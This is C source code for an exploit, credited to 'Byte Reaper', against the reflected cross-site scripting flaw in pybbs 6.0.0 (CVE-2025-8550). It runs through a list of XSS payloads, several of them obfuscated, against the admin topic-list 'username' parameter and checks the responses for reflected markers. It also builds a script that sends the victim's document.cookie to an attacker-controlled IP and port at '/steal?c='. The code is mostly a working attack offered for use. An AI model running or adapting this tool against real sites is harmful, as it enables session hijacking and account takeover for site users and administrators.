/*
* Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
* Exploit Author: Byte Reaper
* Vendor Homepage: https://github.com/atjiu/pybbs
* Tested on: Kali Linux
* CVE: CVE-2025-8550
* ------------------------------------------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
#include <curl/curl.h>
#include <pthread.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <dirent.h>
#include <unistd.h>
#include <ctype.h>
#include <arpa/inet.h>
#define FULL_URL 3500
#define FULL_PAYLOAD_URL 9000
#define BUFFER_SIZE 6000
int selCookie = 0;
const char *cookies = NULL;
const char *baseurl = NULL;
const char *nameFileC= NULL;
int cookiesPayload = 0;
const char *ip = NULL;
int port = 0;
int verbose = 0;
int serchServer_alt()
{
printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n");
const char *nameProcess[] =
{
"python",
"apache2",
"python3",
"mysql",
NULL
};
DIR *d = opendir("/proc");
if (!d) return 1;
struct dirent *entry;
while ((entry = readdir(d)) != NULL)
{
if (!isdigit(entry->d_name[0])) continue;
char cmdpath[256];
snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name);
FILE *f = fopen(cmdpath, "r");
if (!f) continue;
char comm[256];
if (fgets(comm, sizeof(comm), f))
{
for (int i = 0; nameProcess[i]; i++)
{
if (strstr(comm, nameProcess[i]))
{
printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name);
closedir(d);
return 0;
}
}
}
fclose(f);
}
closedir(d);
return 1;
printf("\e[0;35m==========================================================================================================\e[0m\n");
}
void exitSyscall()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax", "rdi"
);
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
exitSyscall();
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
return 0;
}
return 0;
}
void nanoSleep(void)
{
struct timespec ob;
ob.tv_sec = 0;
ob.tv_nsec = 500 * 1000 * 1000;
__asm__ volatile
(
"mov $230, %%rax\n\t"
"mov $1, %%rdi\n\t"
"xor %%rsi, %%rsi\n\t"
"mov %0, %%rdx\n\t"
"xor %%r10, %%r10\n\t"
"syscall\n\t"
:
: "r"(&ob)
: "rax",
"rdi",
"rsi",
"rdx",
"r10",
"memory"
);
}
const char *payloads[] =
{
"<script>alert(1)</script>",
"\"><img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"<iframe src=\"javascript:alert(1)\"></iframe>",
"<a href=\"#\" onclick=\"alert(1)\">click</a>",
"<math><mi xlink:href=\"javascript:alert(1)\">XSS</mi></math>",
"<svg><script>alert(1)</script></svg>",
"\"><iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
"<img src=\"x\" onerror=\"javascript:alert(1)\">",
"<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
"<script>Function('al'+'ert(1)')()</script>",
"<script>(([]+[])[+[]]+([][[]]+[])[+!+[]])[1]+''[1]</script>",
"<object data=\"javascript:alert(1)\"></object>",
"<video><source onerror=\"alert(1)\"></video>",
"<link rel=\"stylesheet\" href=\"javascript:alert(1)\">",
"<form onformdata=alert(1)><input></form>",
"<isindex type=image src=1 onerror=alert(1)>",
"<details open ontoggle=alert(1)>",
"<img src=x onerror=alert(1)>",
"javascript:alert`1`",
"javascript:alert(1)",
"<script src=data:text/javascript,alert(1)></script>",
NULL
};
const char *wordPayloadXss[] =
{
"<script>",
"onerror=",
"onload=",
"alert(",
"javascript:",
"<svg",
"fetch(",
"document.cookie",
"srcdoc=",
NULL
};
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exitSyscall();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
void cookieSend(const char *ipServer, int portY, const char *urlCP)
{
CURL *curl = curl_easy_init();
CURLcode res;
struct Mem responsePayload ;
responsePayload.buffer = NULL;
responsePayload.len = 0;
printf("\e[0;35m================================================================ [COOKIE PAYLOAD] ================================================================\e[0m\n");
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
exitSyscall();
}
if (curl)
{
char full[FULL_PAYLOAD_URL];
if (!port)
{
portY = 80;
printf("\e[0;34m[+] Default Port -> %d\e[0m\n", portY);
}
unsigned long format;
format = inet_addr(ipServer);
if (format == INADDR_NONE)
{
printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
exitSyscall();
}
else
{
printf("\e[0;34m[+] IP ADDRESS : %s\e[0m\n", ipServer);
}
char server[BUFFER_SIZE];
if (!server)
{
fprintf(stderr, "\e[0;31m[-] Error allocating memory!\e[0m\n");
exitSyscall();
}
int lenS = snprintf(server, BUFFER_SIZE, "<script>new Image().src='http://%s:%d/steal?c='+encodeURIComponent(document.cookie);</script>", ipServer, portY);
if (checkLen(lenS, server, BUFFER_SIZE) == 1)
{
printf("[-] Error write base url in FULL URL !\e[0m\n");
exitSyscall();
}
printf("\e[0;34m[+] Write Your IP And Port successfully in Payload.\e[0m\n");
printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server);
char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server));
if (!encodePayloadCookie)
{
printf("\e[0;31m[-] Error Encode Payload !\n");
exitSyscall();
}
printf("[+] Encode Payload : %s\n", encodePayloadCookie);
int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie);
if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1)
{
printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
exitSyscall();
}
curl_easy_setopt(curl, CURLOPT_URL, full);
if (selCookie)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&responsePayload);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
nanoSleep();
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *h = NULL;
h = curl_slist_append(h,
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
h = curl_slist_append(h,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
h = curl_slist_append(h,
"Accept-Encoding: gzip, deflate, br");
h = curl_slist_append(h,
"Accept-Language: en-US,en;q=0.5");
h = curl_slist_append(h,
"Connection: keep-alive");
h = curl_slist_append(h,
"Upgrade-Insecure-Requests: 1");
h = curl_slist_append(h,
"Cache-Control: max-age=0");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
res = curl_easy_perform(curl);
curl_slist_free_all(h);
curl_free(encodePayloadCookie);
if (res == CURLE_OK)
{
long httpCode = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[1;36m[+] Request sent successfully\e[0m\n");
printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
httpCode);
printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n");
printf("\e[0;36m[+] Please Check Your Server.\e[0m\n");
}
else
{
printf("[-] Payload Injection Failed !\e[0m\n");
printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode);
}
}
else
{
printf("\e[1;31m[-] The request was not sent !\e[0m\n");
printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitSyscall();
}
}
curl_easy_cleanup(curl);
if (responsePayload.buffer)
{
free(responsePayload.buffer);
responsePayload.buffer = NULL;
responsePayload.len = 0;
}
printf("\e[0;35m==================================================================================================================================================\e[0m\n");
}
int sendRequest(const char *url)
{
char full[FULL_URL];
struct Mem response;
CURL *curl = curl_easy_init();
if (curl == NULL || !curl)
{
printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n");
exitSyscall();
}
CURLcode res;
response.buffer= NULL;
response.len = 0;
if (response.buffer == NULL && response.len == 0)
{
printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n");
printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n");
printf("\e[0;33m[+] Response Len -> 0\e[0m\n");
}
else
{
printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n");
}
int finish = 0;
for (int p = 0 ; payloads[p] != NULL; p++)
{
char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p]));
if (encodePayload == NULL || !encodePayload)
{
printf("\e[0;31m[-] Error Encode Payload !\n");
exitSyscall();
}
printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n");
printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]);
printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload);
int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload);
if (checkLen(len, full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len);
exitSyscall();
}
printf("[+] FULL URL : %s\n", full);
curl_easy_setopt(curl, CURLOPT_URL, full);
if (selCookie)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
nanoSleep();
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *h = NULL;
h = curl_slist_append(h,
"Accept: text/html");
h = curl_slist_append(h,
"Accept-Encoding: gzip, deflate, br");
h = curl_slist_append(h,
"Accept-Language: en-US,en;q=0.5");
h = curl_slist_append(h,
"Connection: keep-alive");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
char referer[3500];
int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full);
if (checkLen(refLen, referer, sizeof(referer)) == 1)
{
printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n");
printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n");
h = curl_slist_append(h,
"Referer : http://exemple.com");
exitSyscall();
}
else
{
printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n");
printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer);
h = curl_slist_append(h,
referer);
}
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
res = curl_easy_perform(curl);
curl_slist_free_all(h);
curl_free(encodePayload);
if (res == CURLE_OK)
{
long httpCode = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n");
printf("\e[1;36m[+] Request sent successfully\e[0m\n");
printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
httpCode);
if (verbose)
{
if (response.buffer)
{
printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m[Len] : %zu\e[0m\n", response.len);
printf("\e[1;37m\n=============================================================================================\e[0m\n");
}
}
for (int w = 0; wordPayloadXss[w] != NULL; w++)
{
if (strstr(response.buffer, wordPayloadXss[w]) != NULL)
{
printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]);
if (response.buffer)
{
printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
printf("\e[1;35m===============================================================================================\e[0m\n\n");
}
else
{
printf("[-] Response Is NULL, Exit ...\n");
exitSyscall();
}
}
else
{
if (verbose)
{
printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]);
}
if (wordPayloadXss[w] == NULL)
{
printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n");
finish = 1;
}
}
}
}
else
{
printf("\e[0;31m[-] Negative response code (%ld)!\e[0m\n", httpCode);
}
}
else
{
printf("\e[1;31m[-] The request was not sent !\e[0m\n");
printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitSyscall();
}
}
curl_easy_cleanup(curl);
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
return finish;
}
void *thread_routine(void *arg)
{
int finish = sendRequest((const char *)arg);
return (void *)(intptr_t)finish;
}
void runThread(const char *urlT)
{
int valeuF = sendRequest(urlT);
pthread_t thread;
for (int u = 0; valeuF == 1; u++)
{
if (valeuF == 1)
{
pthread_exit(NULL);
}
if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0)
{
printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n");
}
else
{
printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n");
}
sleep(2);
printf("\e[0;32m[+] Sleep 2 s...\n");
pthread_cancel(thread);
if (pthread_join(thread, NULL) == 0)
{
printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n");
}
else
{
if (verbose)
{
printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n");
}
}
}
}
int main(int argc, const char **argv)
{
printf(
"\e[0;31m"
"░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░██████ ░████████ ░████████ ░████ \n"
"░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n"
"░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░███████ ░███████ ░██ ░████ \n"
"░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██████ ░██ ░██ ░██░██░██ \n"
"░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ \n"
"░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n"
"░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██████ ░██████ ░██████ ░████ \n"
"\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n"
);
printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
curl_global_init(CURL_GLOBAL_DEFAULT);
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&baseurl,
"Enter Target Url (http://<TARGET>)"),
OPT_STRING('c',
"cookies",
&nameFileC,
"Enter File cookies"),
OPT_BOOLEAN('k',
"cokpay",
&cookiesPayload,
"Arg For Send Request steals cookies (-k (NULL))"),
OPT_STRING('i',
"ip",
&ip,
"Enter Your Ip Server"),
OPT_INTEGER('p',
"port",
&port,
"Enter Port Server"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
serchServer_alt();
if (!baseurl)
{
printf("\e[1;31m[-] Please Enter target Url !\e[0m\n");
printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://<TARGET>\e[0m\n");
exitSyscall();
}
if (nameFileC)
{
selCookie = 1;
}
if (verbose)
{
verbose = 1;
}
if (cookieSend && ip && port)
{
cookieSend(ip, port, baseurl);
}
else
{
printf("[-] Please Enter Ip And Port !\e[0m\n");
}
runThread(baseurl);
curl_global_cleanup();
return 0;
}